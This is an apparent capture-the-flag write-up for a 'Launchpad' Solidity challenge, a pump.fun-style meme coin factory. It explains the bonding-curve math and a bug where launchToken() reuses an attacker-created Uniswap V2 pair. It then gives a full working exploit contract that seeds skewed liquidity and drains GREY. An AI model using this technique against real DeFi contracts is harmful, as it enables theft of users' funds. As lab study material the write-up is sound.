8. Launchpad

Codebase walkthrough

Setup.sol

  • We can call claim() and get 5e18 grey as intial fund

  • The winning condition in isSolved() is player holds ≥ 5.965e18 grey, so the objective is to steal 0.965e18 grey from the protocol

  • The constructor handles the setup:

    • Deploy grey token contract and mint 7e18 grey to Setup.sol

    • Deploy uniswap v2 factory and deploy Factory.sol

    • Invoke factory.createToken() to create a meme coin. Implicitly, the constructor of Token.sol mints 1000_000e18 to Factory.sol

    • Invoke factory.buyTokens() to pay 2e18 grey and buy meme

Token.sol

  • This contract is for creating new meme coins. It is just a regular ERC20 contract.

  • Only factory can call burn().

Factory.sol

This contract implements the main meme coin launchpad logic (similar to pump.fun). The launch happens in 3 phases:

  1. Token Creation Phase

    1. Anyone can create a new meme token through Factory.createToken()

    2. Each token starts with 1M supply (defined as INITIAL_AMOUNT in Token.sol)

    3. Initial liquidity uses a "virtual bonding curve" with fake GREY reserves

        pairs[tokenAddress] = Pair({
          virtualLiquidity: virtualLiquidity,
          reserveGREY: virtualLiquidity,
          reserveToken: token.INITIAL_AMOUNT()
      });
  1. Bonding Curve Trading Phase

    1. Users buy/sell tokens using GREY (the base currency) through the Factory contract

    2. Uses a simple AMM formula: amountOut = (amountIn * reserveOut) / (reserveIn + amountIn)

    3. Trading continues until target GREY raised (targetGREYRaised = 6e18 GREY in Factory constructor)

    4. Virtual liquidity (virtualLiquidity = 2e18 GREY in Factory constructor) creates artificial price support

  2. Launch to Uniswap Phase

    1. Once target GREY raised, anyone can call Factory.launchToken()

    2. Removes virtual liquidity and burns proportional tokens

    3. Creates Uniswap V2 pair with real liquidity

    4. Mints LP tokens to address(0xdEaD) (permanent liquidity provided to Uniswap V2 pair)

In Factory.launchToken(), this code might be confusing:

        // Burn tokens equal to ratio of reserveGREY removed to maintain constant price
        uint256 burnAmount = (pair.virtualLiquidity * tokenAmount) / pair.reserveGREY;
        tokenAmount -= burnAmount;
        Token(token).burn(burnAmount);

Here token is the meme coin that we are launching, not GREY! For example, before launch the price is reserveGREY / reserveToken, which is 8 GREY / 800k meme tokens = 0.00001 GREY per token. The real liquidity is 6 GREY, together with 2 GREY initial virtual liquidity so we get 8 GREY total. After launch, 6 GREY will be transferred to Uniswap V2 pair, so to maintain the same price, we want the pair to hold 600k meme tokens. In other words, we have to burn meme tokens respect to the same price ratio: we want to burn the part that corresponds to virtual liquidity only -> burn 200k meme tokens. The math is basically:

pair.reserveGREYpair.reserveToken=pair.virtualLiquidityburnAmount\frac{pair.reserveGREY}{pair.reserveToken} = \frac{pair.virtualLiquidity}{burnAmount}

and you can solve burnAmount easily.

Bug description

In Factory.launchToken(), the following code pretty much expects that the Uniswap V2 pair does not exist. If getPair() returns non-empty result, the code is just going to reuse the pair, although the pair was created by someone else and it isn't trusted:

        uniswapV2Pair = uniswapV2Factory.getPair(address(grey), address(token));
        if (uniswapV2Pair == address(0)) {
            uniswapV2Pair = uniswapV2Factory.createPair(address(grey), address(token));
        }

An attacker can:

  1. Pre-create the pair.

  2. Seed it with highly skewed reserves (e.g., huge MEME and 1 wei GREY) to mint the initial LP to themselves.

  3. When the factory launches into this pair, it mints new LP to 0xdEaD using Uniswap’s formula with totalSupply > 0: liquidityMinted = min(amount0 * totalSupply / reserve0, amount1 * totalSupply / reserve1)

  4. Due to the skew, the min() side is controlled so the dead address only gets a small-ish fraction of the pool; the attacker still owns the majority LP supply.

  5. Attacker then burns their LP to redeem a lion’s share of the newly added GREY.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;

import { Setup } from "src/launchpad/Setup.sol";
import { UniswapV2Pair } from "src/launchpad/lib/v2-core/UniswapV2Pair.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Claim 5e18 GREY
        setup.claim();
        
        // Addresses
        address greyAddress = address(setup.grey());
        address memeAddress = address(setup.meme());
        address factoryAddress = address(setup.factory());

        // Buy 5e18 - 1 GREY worth of MEME
        setup.grey().approve(factoryAddress, 5e18 - 1);
        uint256 tokenAmount = setup.factory().buyTokens(memeAddress, 5e18 - 1, 0);

        // Create GREY <> MEME pair on Uniswap
        address pair = setup.uniswapV2Factory().createPair(greyAddress, memeAddress);

        // Mint liquidity in UniswapV2 pair with all MEME and 1 wei of GREY
        setup.meme().transfer(pair, tokenAmount);
        setup.grey().transfer(pair, 1);
        uint256 liquidity = UniswapV2Pair(pair).mint(address(this));

        // Launch MEME to Uniswap
        setup.factory().launchToken(memeAddress);

        // Withdraw all liquidity from UniswapV2 pair
        UniswapV2Pair(pair).transfer(pair, liquidity);
        UniswapV2Pair(pair).burn(address(this));

        // Swap all MEME for GREY
        setup.meme().transfer(pair, setup.meme().balanceOf(address(this)));
        UniswapV2Pair(pair).swap(1.65e18, 0, address(this), "");

        // Send all GREY to msg.sender
        setup.grey().transfer(msg.sender, setup.grey().balanceOf(address(this)));
    }
}

Last updated